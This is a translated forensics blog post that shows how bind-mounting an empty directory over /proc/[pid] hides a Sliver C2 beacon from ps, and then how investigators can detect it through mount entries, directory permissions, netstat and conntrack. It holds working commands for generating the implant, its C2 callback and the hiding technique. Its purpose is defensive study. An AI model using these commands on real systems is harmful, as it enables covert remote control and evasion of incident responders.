The 'Invisibility Cloak' - Slash-Proc Magic
引言
在学习 Defensive Security 的优秀课程“Linux 攻击、检测与实时取证”时,我读到以下一句话:如果你在寻找一种简单的方法来隐藏你的进程列表中的进程,那么绑定挂载操作就是答案。 为了不违反任何版权,我在网上搜索,找到了 Timb-machine 的以下 gist,其中反映了课程中的相同命令:
图 1:与 slash-proc 作斗争
我找不到是谁最早开发了这个技术,但如果有人能指引我找到更多信息的博客或论文,我会很高兴更新这篇博客。
课程中没有进一步解释代码或技术,只是暗示它可以用来隐藏进程列表中的进程。在接下来的博客中,我们将更仔细地看看这个技术是如何工作的,我们是否可以如此轻松地隐藏我们的进程,更重要的是,我们可以使用哪些取证文物来检测这个技术。
为了避免重复造轮子,以下是来自stackexchange对“什么是绑定挂载?”问题的优秀回答的截图:
图 2:挂载绑定解释
设置舞台
攻击者主机
我们的第一步是创建一个新的 Sliver 二进制文件,稍后我们将在目标主机上执行它。Sliver 是一个后渗透框架,使攻击者能够远程控制和与被攻陷的系统进行交互,也称为“slivers”。它为后渗透活动提供了广泛的功能。有关设置新的 Sliver 服务器或与 slivers 交互的详细说明,请参阅官方 Sliver wiki。
[server] sliver > generate beacon -f exe --os linux --mtls <domain>:9191 --skip-symbols -s /tmp/
[*] Generating new linux/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:17
[*] Implant saved to /tmp/DISTANT_VISUAL
Sliver 为每个信标创建特定的文件名,在我们的例子中是 DISTANT_VISUAL。这些文件名也可以自定义,并且不应被采用。我们现在在 9191 端口上启动一个 Sliver 监听器,信标将在受害者主机执行后连接回来。
[server] sliver > mtls -l 9191
[*] Starting mTLS listener ...
[*] Successfully started job #1
我们将上面创建的 Sliver 二进制文件复制到受害者主机并执行该二进制文件(&符号将进程移至后台)。
受害者主机
# ./DISTANT_VISUAL &
攻击者主机
回到攻击者主机(在 Sliver 控制台中),我们执行信标的主机现在已经签到 - 我们创建的二进制文件按预期工作。
[server] sliver > jobs
ID Name Protocol Port
==== ====== ========== ======
1 mtls tcp 9191
[*] Beacon 5628db38 DISTANT_VISUAL - 135.<redacted>:41462 (dfir_rocks) - linux/amd64 - Wed, 27 Mar 2024 13:11:16 CET
我们可以通过一个简单的命令,比如 ls,来简要测试功能:
[server] sliver (DISTANT_VISUAL) > ls
[*] Tasked beacon DISTANT_VISUAL (8a47457f)
[+] DISTANT_VISUAL completed task 8a47457f
/root (19 items, 8.8 MiB)
=========================
-rw------- .bash_history 3.3 KiB Wed Mar 27 09:57:04 +0100 2024
-rw-r--r-- .bash_logout 18 B Sun Dec 29 03:26:31 +0100 2013
-rw-r--r-- .bash_profile 176 B Sun Dec 29 03:26:31 +0100 2013
-rw-r--r-- .bashrc 293 B Mon Mar 25 08:36:40 +0100 2024
[..]
受害者主机:
开箱即用,Sliver 二进制文件并未在主机上进行任何隐藏。使用 ps 命令列出进程,我们可以轻松找到该进程,这在法医调查中可能会相对快速地被注意到。
# ps aux | grep DISTANT
root 22665 0.1 0.3 709792 5520 [..] ./DISTANT_VISUAL
root 22710 0.0 0.0 112808 968 [..] grep --color=auto DISTANT
然而,当我们再次关注 timb-machine 上的几个命令时..
# mkdir -p spoof/fd;
# mount -o bind spoof /proc/22665;
我们执行与之前相同的命令(使用 ps),但这次我们找不到我们的二进制文件。
# ps aux | grep DISTANT
root 23819 0.0 0.0 112808 968 [..] grep --color=auto DISTANT
检查 /proc/ 下对应的文件夹:
# ls -la /proc/22665/fd
#
没有隐藏技术,文件夹将不会是空的:
[root@dfir ~]# ls -l /proc/22665/
total 0
dr-xr-xr-x. 2 root root 0 Mar 28 12:40 attr
-rw-r--r--. 1 root root 0 Mar 28 12:40 autogroup
-r--------. 1 root root 0 Mar 28 12:40 auxv
-r--r--r--. 1 root root 0 Mar 28 12:32 cgroup
--w-------. 1 root root 0 Mar 28 12:40 clear_refs
-r--r--r--. 1 root root 0 Mar 28 12:28 cmdline
-rw-r--r--. 1 root root 0 Mar 28 12:40 comm
-rw-r--r--. 1 root root 0 Mar 28 12:40 coredump_filter
-r--r--r--. 1 root root 0 Mar 28 12:40 cpuset
lrwxrwxrwx. 1 root root 0 Mar 28 12:28 cwd -> /root
-r--------. 1 root root 0 Mar 28 12:28 environ
lrwxrwxrwx. 1 root root 0 Mar 28 12:28 exe -> /root/DISTANT_VISUAL
[..]
发生了什么?
mkdir -p spoof/fd: 该命令创建一个名为 spoof 的目录,并在其下创建一个子目录 fd。
mount -o bind spoof /proc/[pid]: 该命令将 spoof 目录挂载到 /proc/[pid] 目录上。通过这样做,它欺骗系统在有人访问 /proc/[pid] 目录时显示 spoof 目录的内容。这里的“有人”指的是像 ps 这样的工具,它在生成输出时严重依赖 /proc/ 目录(请参见 strace (ps 深入分析) 部分,我们将研究 ps 命令的工作原理,以及为什么我们可以通过这种简单的方法隐藏我们的二进制文件)。
ln -s socket:[283] /proc/[pid]/fd/99: 该命令来自原始摘要(见上文),在 /proc/[pid]/fd/ 目录中创建一个名为 99 的符号链接(ln -s)。该链接指向一个特定的套接字(socket:[283]),该套接字可能与进程的网络连接或通信通道相关。在我们的测试中,不需要创建这样的符号链接。
ls -la /proc/[pid]/fd: 该命令列出与由 [pid] 标识的进程相关的所有文件描述符(fd)。然而,由于我们在进程的正确 /proc/ 目录上挂载了一个空目录(spoof/fd),因此没有文件和文件夹被显示。
取证
/proc/mounts
分析 /proc/mounts 表明至少有一个文件系统挂载到一个通常对应于进程 ID(PID)的目录上,正如在‘/proc/mounts’列表中看到的‘/proc/PID’条目所证明的。请参见下面 /proc/mounts 输出的最后一行,我们清楚地看到 /proc/22665 文件夹的映射。
# cat /proc/mounts
rootfs / rootfs rw 0 0
sysfs /sys sysfs rw,seclabel,nosuid,nodev,noexec,relatime 0 0
[...]]
/dev/mapper/centos-root /proc/22665 xfs rw,seclabel,relatime,attr2,inode64,noquota 0 0
在正常的调查中,我的下一步将是查看进程的 /proc/ 文件系统,以了解更多关于该进程的信息(命令行、环境变量、内存映射等)。然而,在这种情况下,如上所述,该目录是空的,这显然是一个巨大的警示,表明存在异常情况。
# ls /proc/22665/fd/
#
虚假权限
我们的 Sliver 进程(PID 22665)的 /proc 目录允许对该目录进行写入。这对于该目录来说是一个不寻常的权限,因为通常情况下,/proc 下的 PID 目录应该是只读的。为了进行比较,以下是包含我们 Sliver 二进制文件的 /proc/ 文件夹的权限:
# ls -latrh /proc/ | grep 22665
drwxr-xr-x. 3 root root 16 Mar 26 14:49 22665
与 /proc/ 中的其他目录相比:
dr-xr-xr-x. 9 root root 0 Mar 26 21:11 2486
dr-xr-xr-x. 9 root root 0 Mar 26 21:11 13713
dr-xr-xr-x. 9 root root 0 Mar 26 21:11 13857
dr-xr-xr-x. 9 root root 0 Mar 26 21:11 13860
这强烈表明该进程存在异常,需要进行更深入的分析。例如,Sandfly 内置了这两个检查。
netstat
然而,连接到 C2 服务器的情况出现在 netstat 命令的输出中,但没有指示该连接属于哪个进程(另一个异常)。
# netstat -nalp | grep 9191
tcp 0 0 192.168.38.244:42362 144.<redacted>:9191 ESTABLISHED -
默认情况下,我们的 Sliver 信标不会每秒检查一次新命令,但“‘下次签到’值包含任何随机抖动(默认最多 30 秒)”。为了演示,以下单行命令定期执行 netstat 并过滤我们 C2 IP 地址的第一个八位字节。在这种情况下,我们没有应用隐藏技术,因此进程名称和 PID 是可见的。
# while true; do netstat -nalp | grep -i 144; done
tcp 0 1 192.168.38.244:33536 144.<redacted>:9191 SYN_SENT 22665/./DISTANT_VISU
tcp 0 267 192.168.38.244:33536 144.<redacted>9191 ESTABLISHED 22665/./DISTANT_VISU
tcp 0 0 192.168.38.244:33536 144.<redacted>:9191 ESTABLISHED 22665/./DISTANT_VISU
tcp 0 742 192.168.38.244:33536 144.<redacted>:9191 ESTABLISHED 22665/./DISTANT_VISU
tcp 0 916 192.168.38.244:33536 144.<redacted>:9191 FIN_WAIT1 -
深入挖掘
我们发现可以相对轻松地将进程从 ps 等工具中隐藏,而不影响程序的功能。然而,C2 连接在 netstat 中仍然可见。我们使用 strace 记录了 netstat 的执行,并发现 netstat 读取了两个有趣的文件。
nf_conntrack
nf_conntrack 文件通常位于 /proc 目录中,提供有关 Netfilter 连接跟踪系统所跟踪的网络连接的信息。Netfilter 是 Linux 内核中的一个框架,提供数据包过滤、网络地址转换(NAT)和其他数据包处理操作的功能。nf_conntrack 文件的内容会随着网络连接的建立、修改或终止而动态更新。每当新连接被启动或现有连接状态发生变化时,nf_conntrack 文件中的相应条目也会相应更新。
nf_conntrack:ipv4 2 tcp 6 0 CLOSE src=192.168.38.244 dst=144.<redacted> sport=34932 dport=9191 src=144.<redacted> dst=192.168.38.244 sport=9191 dport=34932 [ASSURED] mark=0 secctx=system_u:object_r:unlabeled_t:s0 zone=0 use=2
/proc/net/tcp 文件是 Linux 系统 /proc 目录中的一个特殊文件,提供有关系统上活动 TCP 连接的信息。该文件允许用户、进程和系统管理员检查 TCP 连接的状态,包括源和目标地址、端口号、连接状态以及其他相关信息等细节。
每一列中的 IP 地址以十六进制表示,采用“小端”格式存储(但端口号除外):
29: F426A8C0:8C82 <redacted>:23E7 02 00000001:00000000 01:00000064 00000000 0 0 8429573 2 ffff9480c12e8000 100 0 0 10 -1
-
F426A8C0 = C0 A8 26 F4 = 受害者的 IP 地址 (192.168.38.244) -
23E7 = 9191 = 我们的 Sliver 信标连接到攻击者机器的端口
再次回去
# umount /proc/22665
# ps aux | grep DISTANT
root 10171 0.0 0.0 112808 968 pts/0 S+ 17:56 0:00 grep --color=auto DISTANT
root 22665 0.0 0.3 711200 5532 pts/0 Sl 13:11 0:05 ./DISTANT_VISUAL
strace(ps 深入分析)
正如我们上面所看到的,我们的 Sliver 信标在 ps 输出中不再可见。ps 从哪些文件和文件夹中获取信息以生成输出?我们开始一个 strace 会话,并使用当前系统上运行的任意程序。请参阅我的帖子 [s|l]trace - Linux 恶意软件分析 作为 strace 的入门。
/proc/[pid]/stat
stat("/proc/22551", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
open("/proc/22551/stat", O_RDONLY) = 6
read(6, "22551 (sshd) S 22543 22543 22543"..., 2048) = 365
/proc/[pid]/stat 文件在 Linux 中提供有关特定进程(通过其进程 ID(PID)识别)的状态信息。该文件包含一行文本,字段之间用空格分隔,每个字段代表进程的不同属性。
# cat /proc/22551/stat
22551 (sshd) S 22543 22543 22543 0 -1 1077944640
481 0 3 0 11 47 0 0 20 0 1 0 18909165 158507008
450 18446744073709551615 94679745945600 94679746763604
140736237722176 140736237719352 139979359492899 0 0 4096
65536 18446744072090956901 0 0 17 0 0 0 0 0 0 94679748861320
94679748876788 94679775510528 140736237723477 140736237723498
140736237723498 140736237723625 0
上述值对应以下字段:
-
PID(进程 ID):进程的唯一标识符。 -
Comm:可执行文件的名称,括号内显示。通常会被截断为 15 个字符。 -
State:进程的当前状态。常见状态包括“R”表示运行,“S”表示睡眠,“D”表示不可中断睡眠,“Z”表示僵尸进程,以及其他状态。 -
PPid(父进程 ID):父进程的 PID。 -
.. 以及其他字段。
请访问 proc5 手册页以获取字段的完整列表。
/proc/[pid]/status
接下来,ps 打开 /proc/[pid]/status,该文件以更易于人类解析的格式提供了 /proc/pid/stat 和 /proc/pid/statm 中的大部分信息。只需比较下面的输出(来自状态文件)和上面的输出(来自 stat 文件) :
open("/proc/22551/status", O_RDONLY) = 6
# cat /proc/22551/status
Name:sshd
Umask:0022
State:S (sleeping)
Tgid:22551
Ngid:0
Pid:22551
PPid:22543
TracerPid:0
Uid:1002100210021002
Gid:1002100210021002
FDSize:64
Groups:10 1002
VmPeak: 154820 kB
VmSize: 154792 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 2640 kB
VmRSS: 1800 kB
RssAnon: 1152 kB
RssFile: 648 kB
RssShmem: 0 kB
VmData: 792 kB
VmStk: 132 kB
VmExe: 800 kB
VmLib: 13064 kB
VmPTE: 312 kB
VmSwap: 184 kB
Threads:1
SigQ:0/5887
SigPnd:0000000000000000
ShdPnd:0000000000000000
SigBlk:0000000000000000
SigIgn:0000000000001000
SigCgt:0000000180010000
CapInh:0000000000000000
CapPrm:0000000000000000
CapEff:0000000000000000
CapBnd:0000001fffffffff
CapAmb:0000000000000000
NoNewPrivs:0
Seccomp:0
Speculation_Store_Bypass:not vulnerable
Cpus_allowed:3
Cpus_allowed_list:0-1
Mems_allowed:00000000,00000000,00000000,00000000,[...],00000001
Mems_allowed_list:0
voluntary_ctxt_switches:2997
nonvoluntary_ctxt_switches:0
/proc/[pid]/cmdline
最后但并非最不重要的是,ps 读取文件/proc/[pid]/cmdline 的内容,该文件包含传递给进程的命令行参数。
open("/proc/22551/cmdline", O_RDONLY) = 6
实际输出:
# cat /proc/22551/cmdline
sshd: malmoeb@pts/0
最终输出到控制台
将各个部分结合在一起,ps 将从/proc/[pid]/中的各种文件收集到的信息写入控制台。
write(1, "malmoeb 22551 0.0 0.1 154792 "..., 86) = 86
在终端上:
malmoeb 22551 0.0 0.1 154792 1800 ? D 13:10 0:00 sshd: malmoeb@pts/0
结论
通过利用绑定挂载覆盖 /proc/ 目录,我们展示了一个进程如何在保持其功能的同时,似乎从进程列表中消失。
通过实际实验和分析,我们揭示了这些技术留下的潜在取证伪迹,包括异常的文件系统挂载和空的进程目录。这些指标可以为寻求揭露隐藏进程和检测被攻陷系统上恶意活动的取证调查员提供有价值的线索。
原文始发于微信公众号(securitainment):“进程的隐形斗篷” - Slash-Proc 魔法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论